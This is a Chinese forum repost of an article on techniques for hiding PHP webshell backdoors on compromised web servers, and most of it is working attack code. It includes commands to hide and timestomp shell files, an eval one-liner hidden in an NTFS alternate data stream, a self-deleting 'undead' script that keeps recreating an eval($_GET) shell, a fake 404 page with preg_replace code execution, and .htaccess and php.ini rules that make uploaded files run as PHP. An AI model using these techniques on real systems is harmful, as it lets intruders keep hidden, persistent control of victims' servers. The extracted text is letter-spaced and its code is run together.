搜索

[1026] 2020-11-04_PHP后门隐藏技巧

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2020-11-04_PHP后门隐藏技巧 P H P 后 门 隐 藏 技 巧 原 创   B y p a s s   B y p a s s   2 0 2 0 - 1 1 - 0 4 如 果 想 让 自 己 的 W e b s h e l l 留 的 更 久 一 些 ， 除 了 W e b s h e l l 要 免 杀 ， 还 需 要 注 意 一 些 隐 藏 技 巧 ， 比 如 隐 藏 文 件 ， 修 改 时 间 属 性 ， 隐 藏 文 件 内 容 等 。 1 、 隐 藏 文 件 、 隐 藏 文 件 使 用 A t t r i b   + s   + a   + h   + r 命 令 就 是 把 原 本 的 文 件 夹 增 加 了 系 统 文 件 属 性 、 存 档 文 件 属 性 、 只 读 文 件 属 性 和 隐 藏 文 件 属 性 。 2 、 修 改 文 件 时 间 属 性 、 修 改 文 件 时 间 属 性 当 你 试 图 在 一 堆 文 件 中 隐 藏 自 己 新 创 建 的 文 件 ， 那 么 ， 除 了 创 建 一 个 迷 惑 性 的 文 件 名 ， 还 需 要 修 改 文 件 的 修 改 日 期 。 使 用 命 令 获 取 文 件 属 性 修 改 某 个 文 件 夹 下 所 有 文 件 的 创 建 和 修 改 时 间 3 、 利 用 、 利 用 A D S 隐 藏 文 件 内 容 隐 藏 文 件 内 容 在 服 务 器 上 e c h o 一 个 数 据 流 文 件 进 去 ， 比 如 i n d e x . p h p 是 网 页 正 常 文 件 ， 我 们 可 以 这 样 子 搞 ： 　 这 样 子 就 生 成 了 一 个 不 可 见 的 s h e l l   h i d d e n . j p g ， 常 规 的 文 件 管 理 器 、 t y p e 命 令 ， d i r 命 令 、 d e l 命 令 发 现 都 找 不 出 那 个 h i d d e n . j p g 的 。 利 用 i n c l u d e 函 数 ， 将 i n d e x . p h p : h i d d e n . j p g 进 行 h e x 编 码 ， 把 这 个 A D S 文 件 i n c l u d e 进 去 ， 这 样 子 就 可 以 正 常 解 析 我 们 的 一 句 话 了 。 4 、 不 死 马 、 不 死 马 不 死 马 会 删 除 自 身 ， 以 进 程 的 形 式 循 环 创 建 隐 蔽 的 后 门 。 a t t r i b   + s   + a   + h   + r   s h e l l . p h p       / / 隐 藏 s h e l l . p h p 文 件 / / 修 改 时 间 修 改 S e t - I t e m P r o p e r t y   - P a t h   2 . t x t   L a s t W r i t e T i m e   - V a l u e   " 2 0 2 0 - 1 1 - 0 1   1 2 : 1 2 : 1 2 " / / 访 问 时 间 修 改 S e t - I t e m P r o p e r t y   - P a t h   2 . t x t   L a s t A c c e s s T i m e   - V a l u e   " 2 0 2 0 - 1 1 - 0 1   1 2 : 1 2 : 1 2 " / / 创 建 时 间 修 改 S e t - I t e m P r o p e r t y   - P a t h   2 . t x t   C r e a t i o n T i m e   - V a l u e   " 2 0 2 0 - 1 1 - 0 1   1 2 : 1 2 : 1 2 " G e t - I t e m P r o p e r t y   - P a t h   D : 1 . d l l   |   F o r m a t - l i s t   - P r o p e r t y   *   - F o r c e p o w e r s h e l l . e x e   - c o m m a n d   " l s   ' u p l o a d * . * '   |   f o r e a c h - o b j e c t   {   $ _ . L a s t W r i t e T i m e   =     G e t - D a t e   ;   $ _ . C r e a t i o n T i m e   =   ' 2 0 1 8 / 0 1 / 0 1   1 9 : 0 0 : 0 0 '   } " e c h o   ^ < ? p h p   @ e v a l ( $ _ P O S T [ ' c h o p p e r ' ] ) ; ? ^ >   >   i n d e x . p h p : h i d d e n . j p g < ? p h p   @ i n c l u d e ( P A C K ( ' H * ' , ' 6 9 6 E 6 4 6 5 7 8 2 E 7 0 6 8 7 0 3 A 6 8 6 9 6 4 6 4 6 5 6 E 2 E 6 A 7 0 6 7 ' ) ) ; ? > < ? p h p s e t _ t i m e _ l i m i t ( 0 ) ;     i g n o r e _ u s e r _ a b o r t ( 1 ) ;   u n l i n k ( _ _ F I L E _ _ ) ;           / / 删 除 自 身 w h i l e ( 1 ) {                 f i l e _ p u t _ c o n t e n t s ( ' s h e l l . p h p ' , ' < ? p h p   @ e v a l ( $ _ G E T [ c m d ] ) ; ? > ' ) ;     / / 创 建 s h e l l . p h p ， 这 里 最 好 用 免 杀 的 一 句 话         s l e e p ( 1 0 ) ;         / / 间 隔 时 间 } ? >
处 理 方 式 最 简 单 有 效 的 办 法 ， 就 是 重 启 服 务 就 可 以 删 除 w e b s h e l l 文 件 。 5 、 中 间 件 后 门 、 中 间 件 后 门 将 编 译 好 的 s o 文 件 复 制 到 m o d u l e s 文 件 夹 ， 启 动 后 门 模 块 ， 重 启 A p a c h e 。 当 发 送 特 定 参 数 的 字 符 串 过 去 时 ， 即 可 触 发 后 门 。 g i t h u b 项 目 地 址 ： 6 、 利 用 、 利 用 4 0 4 页 面 隐 藏 后 门 页 面 隐 藏 后 门 4 0 4 页 面 主 要 用 来 提 升 用 户 体 验 ， 可 用 来 隐 藏 后 门 文 件 。 7 、 利 用 、 利 用   . h t a c c e s s   文 件 构 成 文 件 构 成 P H P 后 门 后 门 一 般 . h t a c c e s s 可 以 用 来 留 后 门 和 针 对 黑 名 单 绕 过 ， 在 上 传 目 录 创 建 . h t a c c e s s   文 件 写 入 ， 无 需 重 启 即 可 生 效 ， 上 传 p n g 文 件 解 析 。 另 外 ， 在 . h t a c c e s s   加 入 p h p 解 析 规 则 ， 把 文 件 名 包 含 1 的 解 析 成 p h p ， 上 传 1 . t x t 即 可 解 析 。 8 、 利 用 、 利 用   p h p . i n i   隐 藏 后 门 文 件 隐 藏 后 门 文 件 p h p . i n i   中 可 以 指 定 在 主 文 件 执 行 前 后 自 动 解 析 的 文 件 名 称 ， 常 用 于 页 面 公 共 头 部 和 尾 部 ， 也 可 以 用 来 隐 藏 p h p 后 门 。 需 重 启 服 务 生 效 ， 访 问 任 意 一 个 p h p 文 件 即 可 获 取 w e b s h e l l 。 h t t p s : / / g i t h u b . c o m / V l a d R i c o / a p a c h e 2 _ B a c k d o o r M o d < ! D O C T Y P E   H T M L   P U B L I C   " - / / I E T F / / D T D   H T M L   2 . 0 / / E N " > < h t m l > < h e a d > < t i t l e > 4 0 4   N o t   F o u n d < / t i t l e > < / h e a d > < b o d y > < h 1 > N o t   F o u n d < / h 1 > < p > T h e   r e q u e s t e d   U R L   w a s   n o t   f o u n d   o n   t h i s   s e r v e r . < / p > < / b o d y > < / h t m l > < ? p h p @ p r e g _ r e p l a c e ( " / [ p a g e e r r o r ] / e " , $ _ P O S T [ ' e r r o r ' ] , " s a f t " ) ; h e a d e r ( ' H T T P / 1 . 1   4 0 4   N o t   F o u n d ' ) ; ? > A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . p n g < F i l e s M a t c h   " 1 " >   S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p   < / F i l e s M a t c h > ； 在 P H P 文 档 之 前 自 动 添 加 文 件 。 a u t o _ p r e p e n d _ f i l e   =   " c : t m p . t x t " ; 在 P H P 文 档 之 后 自 动 添 加 文 件 。 a u t o _ p r e p e n d _ f i l e   =   " c : t m p . t x t "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理